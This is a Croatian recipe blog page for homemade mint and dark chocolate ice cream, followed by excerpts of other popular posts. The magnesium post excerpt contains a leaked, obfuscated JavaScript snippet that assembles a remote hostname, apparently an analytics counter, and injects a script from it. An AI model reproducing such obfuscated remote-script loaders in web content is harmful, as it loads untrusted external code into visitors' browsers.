SLADOLED OD MENTE I ČOKOLADE 🍫





Sladoled od mente i čokolade 




Postoje okusi koji ne izlaze iz mode, bez obzira na to koliko trendova prošlo kroz naše kuhinje i živote. Jedan od njih zasigurno je bezvremenska kombinacija mente i tamne čokolade – svježina i elegancija u istom zalogaju. U vrelim ljetnim danima koji nam dolaze, kada je hladno zadovoljstvo na vrhu liste prioriteta, domaći sladoled od mente i čokolade nije samo desert, već pravi mali ritual uživanja.





Sladoled od mente i čokolade 


Sastojci:

  • 300 ml punomasnog mlijeka
  • 200 ml slatkog vrhnja
  • 100 g šećera
  • Prstohvat soli
  • 1 vanilin šećer ili mahuna vanilije (opcionalno)
  • 2 žumanjka
  • Šaka svježe mente (oko 20-ak listova)
  • 100 g tamne čokolade (min. 70% kakaa)
  • Po želji: nekoliko kapi prirodne ekstrakta mente (ako želite jači okus)




Priprema:

  • U srednje velikom loncu zagrijte mlijeko, slatko vrhnje, šećer, vaniliju i prstohvat soli na srednje jakoj vatri dok ne dosegne točku prije vrenja. Ugasite vatru i dodajte svježe listove mente. Pokrijte lonac i ostavite smjesu da se natapa najmanje 30 minuta – što dulje stoji, to će okus mente biti izraženiji. Nakon toga procijedite smjesu kroz sito i bacite listove mente.
  • U posebnoj posudi lagano izmutite žumanjke, zatim ih pažljivo temperirajte dodajući malo po malo tople (ali ne vruće!) smjese uz stalno miješanje. Vratite sve u lonac i zagrijavajte na laganoj vatri dok se smjesa ne zgusne u teksturu nalik pudingu – važno je da ne zavrije. Kada je gotovo, prelijte smjesu u čistu zdjelu, pokrijte plastičnom folijom (tako da dodiruje površinu smjese) i ostavite da se potpuno ohladi, idealno u hladnjaku nekoliko sati.
  • U međuvremenu nasjeckajte tamnu čokoladu na sitne komadiće ili koristite čokoladne kapljice. Kada je sladoledna baza hladna, dodajte čokoladu i (po želji) nekoliko kapi ekstrakta mente za dodatnu svježinu. Smjesu ulijte u plastičnu posudu i stavite u zamrzivač. Svakih sat vremena izvadite i dobro promiješajte vilicom ili štapnim mikserom kako bi razbio kristale leda i postigao kremastu teksturu. Nakon 4–5 sati sladoled bi trebao biti spreman za serviranje.
  • Servirajte ga u rustikalnim zdjelicama, uz list svježe mente i naribanu čokoladu na vrhu. Ili, ako želite dodatni sloj uživanja – prelijte ga toplim ganacheom od čokolade i dodajte nekoliko tostiranih badema.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više